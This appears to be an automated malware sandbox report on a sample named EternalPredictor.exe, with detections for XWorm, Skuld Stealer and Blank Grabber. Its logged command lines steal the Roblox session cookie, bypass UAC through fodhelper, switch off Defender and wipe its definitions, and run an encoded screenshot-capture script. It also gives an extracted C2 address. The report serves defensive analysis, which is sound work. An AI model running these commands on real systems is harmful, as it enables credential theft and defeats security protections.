cmd.exe (PID: 7448 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 7976 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 5440 cmdline: C:\Windows\system32\cmd.exe /c "tasklist /FO LIST" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8076 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 1240 cmdline: tasklist /FO LIST MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)

cmd.exe (PID: 5268 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 1816 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 3648 cmdline: C:\Windows\system32\cmd.exe /c "tree /A /F" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 636 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tree.com (PID: 2848 cmdline: tree /A /F MD5: 9EB969EF56718A6243BF60350CD065F0)

cmd.exe (PID: 2100 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7840 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7832 cmdline: powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 3832 cmdline: C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7344 cmdline: powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY MD5: 04029E121A0CFA5991749937DD22A1D9)

Conhost.exe (PID: 3832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

XClient.exe (PID: 7084 cmdline: C:\Users\user\AppData\Roaming\XClient.exe MD5: 7439CC991A9A756C41153B8E9121BAAB)

SecurityHealthSystray.exe (PID: 3948 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe" MD5: DBBD2127D1030E4C9548FDF7DE9983A7)

conhost.exe (PID: 7768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 7980 cmdline: cmd.exe /C fodhelper MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

fodhelper.exe (PID: 8108 cmdline: fodhelper MD5: 85018BE1FD913656BC9FF541F017EACD)

fodhelper.exe (PID: 7844 cmdline: "C:\Windows\system32\fodhelper.exe" MD5: 85018BE1FD913656BC9FF541F017EACD)

fodhelper.exe (PID: 7840 cmdline: "C:\Windows\system32\fodhelper.exe" MD5: 85018BE1FD913656BC9FF541F017EACD)

SecurityHealthSystray.exe (PID: 7812 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe" MD5: DBBD2127D1030E4C9548FDF7DE9983A7)

conhost.exe (PID: 7640 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

XClient.exe (PID: 6540 cmdline: "C:\Users\user\AppData\Roaming\XClient.exe" MD5: 7439CC991A9A756C41153B8E9121BAAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Malware Configuration

Threatname: Xworm

{"C2 url": ["147.185.221.23"], "Port": 33942, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\XClient.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Roaming\XClient.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xfc4e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xfceb:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xfe00:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xebac:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Roaming\eternal.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Roaming\eternal.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xfc4e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xfceb:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xfe00:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xebac:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Local\Temp\_MEI44642\rarreg.key	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
C:\Users\user\AppData\Roaming\skuld.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Roaming\skuld.exe	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
Click to see the 4 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000008.00000003.1934849918.00000237A5ED6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000005.00000003.1524758278.00000139887E3000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000008.00000002.1939141033.00000237A49E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000036.00000002.1700904810.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
00000002.00000000.1499082225.0000000000BC2000.00000002.00000001.01000000.00000006.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000002.00000000.1499082225.0000000000BC2000.00000002.00000001.01000000.00000006.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xfa4e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xfaeb:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xfc00:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xe9ac:$cnc4: POST / HTTP/1.1
00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.1549558501.00000000011C5000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
00000005.00000003.1524758278.00000139887E5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000000.00000002.1521249404.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000000.00000002.1521249404.0000000003CF1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x2f93e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x40f7e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2f9db:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x4101b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2faf0:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x41130:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x2e89c:$cnc4: POST / HTTP/1.1 0x3fedc:$cnc4: POST / HTTP/1.1
00000008.00000002.1938588123.00000237A4503000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
00000003.00000000.1505357195.00000000011C5000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000000.1505357195.00000000011C5000.00000002.00000001.01000000.00000007.sdmp	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000004A.00000000.1680272657.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
0000004A.00000002.1701196379.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000004A.00000002.1701196379.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
00000036.00000000.1632827829.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000036.00000000.1632827829.00000000010B5000.00000002.00000001.01000000.0000001E.sdmp	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
Process Memory Space: EternalPredictor.exe PID: 2852	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: eternal.exe PID: 5604	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: skuld.exe PID: 3872	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: skuld.exe PID: 3872	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
Process Memory Space: program.exe PID: 4464	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: program.exe PID: 2360	JoeSecurity_BlankGrabber	Yara detected Blank Grabber	Joe Security
Process Memory Space: program.exe PID: 2360	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: program.exe PID: 2360	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Process Memory Space: SecurityHealthSystray.exe PID: 3948	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SecurityHealthSystray.exe PID: 3948	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
Process Memory Space: SecurityHealthSystray.exe PID: 7812	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.EternalPredictor.exe.3d22330.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.EternalPredictor.exe.3d22330.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xfc4e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xfceb:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xfe00:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xebac:$cnc4: POST / HTTP/1.1
0.2.EternalPredictor.exe.3d10cf0.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.EternalPredictor.exe.3d10cf0.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xde4e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xdeeb:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xe000:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xcdac:$cnc4: POST / HTTP/1.1
2.0.eternal.exe.bc0000.0.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
2.0.eternal.exe.bc0000.0.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xfc4e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xfceb:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xfe00:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xebac:$cnc4: POST / HTTP/1.1
0.2.EternalPredictor.exe.3d22330.2.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.EternalPredictor.exe.3d22330.2.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xde4e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xdeeb:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xe000:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xcdac:$cnc4: POST / HTTP/1.1
0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0.2.EternalPredictor.exe.3d10cf0.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0xfc4e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x2128e:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0xfceb:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x2132b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0xfe00:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x21440:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0xebac:$cnc4: POST / HTTP/1.1 0x201ec:$cnc4: POST / HTTP/1.1
74.0.SecurityHealthSystray.exe.be0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
74.0.SecurityHealthSystray.exe.be0000.0.unpack	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
3.2.skuld.exe.cf0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.skuld.exe.cf0000.0.unpack	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
54.0.SecurityHealthSystray.exe.be0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
54.0.SecurityHealthSystray.exe.be0000.0.unpack	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
54.2.SecurityHealthSystray.exe.be0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
54.2.SecurityHealthSystray.exe.be0000.0.unpack	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
3.0.skuld.exe.cf0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.0.skuld.exe.cf0000.0.unpack	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
74.2.SecurityHealthSystray.exe.be0000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
74.2.SecurityHealthSystray.exe.be0000.0.unpack	JoeSecurity_SkuldStealer	Yara detected Skuld Stealer	Joe Security
Click to see the 17 entries

Sigma Signatures

System Summary

Sigma detected: Bypass UAC via Fodhelper.exe

Source: Process started

Author: E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community: Data: Command: "C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe" , CommandLine: "C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe, NewProcessName: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe, OriginalFileName: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe, ParentCommandLine: "C:\Windows\system32\fodhelper.exe" , ParentImage: C:\Windows\System32\fodhelper.exe, ParentProcessId: 7840, ParentProcessName: fodhelper.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe" , ProcessId: 7812, ProcessName: SecurityHealthSystray.exe

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Roaming\skuld.exe, ProcessId: 3872, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'", CommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\program.exe" , ParentImage: C:\Users\user\AppData\Roaming\program.exe, ParentProcessId: 2360, ParentProcessName: program.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\program.exe'", ProcessId: 4920, ProcessName: cmd.exe

Sigma detected: Powershell Defender Disable Scan Feature

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\program.exe" , ParentImage: C:\Users\user\AppData\Roaming\program.exe, ParentProcessId: 2360, ParentProcessName: program.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All", ProcessId: 4940, ProcessName: cmd.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFM

